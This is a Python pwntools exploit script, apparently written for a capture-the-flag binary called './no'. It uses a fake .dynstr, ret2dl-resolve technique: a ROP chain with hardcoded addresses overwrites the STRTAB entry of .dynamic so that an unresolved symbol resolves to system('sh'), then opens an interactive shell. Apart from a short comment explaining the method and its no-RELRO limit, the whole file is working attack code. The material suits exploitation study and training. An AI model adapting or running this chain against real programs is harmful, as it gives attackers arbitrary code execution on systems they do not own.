#!/usr/bin/env python
from pwn import *

context.arch = 'i386'

'''
Method #1 : fake .dynstr (from winesap)

Use readelf to find the DT_STRTAB of .dynamic,
Control the .dynstr to our buffer,and put the
system string at our buffer, and jump a unresolve
symbol e.g. __gmon_start__

limited : No RELRO
'''
#r = process('./no', env={'LD_PRELOAD' : './libc.so.6'})
r = process('./no')

read = 0x08048300
memcpy = 0x08048310
plt0 = 0x80482f0
pop3 = 0x08048569
pop2 = 0x0804856a
pop1 = 0x0804856b
leave_ret = 0x080483d5
alarm = 0x08048320

buf = 0x8049880
d = buf + 200

dynamic = 0x0804973c # dynamic section
dynamic_dynstr = dynamic + 8 * 8 # STRTAB (entry 8) of dynamic section

rop = flat(
    memcpy, pop3, dynamic_dynstr + 4, d, 4,
    alarm, 0xdeadbeef, d+12
)

# d
data = flat(    # 0
    d+4-38,        # 4    
    'system\x00\x00', # 49
    'sh\x00\x00'
)

# st_name = 0x26 = 38

raw_input('#')
r.send(('a'*22 + p32(buf - 4 + 100) + p32(leave_ret)).ljust(100,'\x00') + rop.ljust(100,'\x00') + data)


r.interactive()
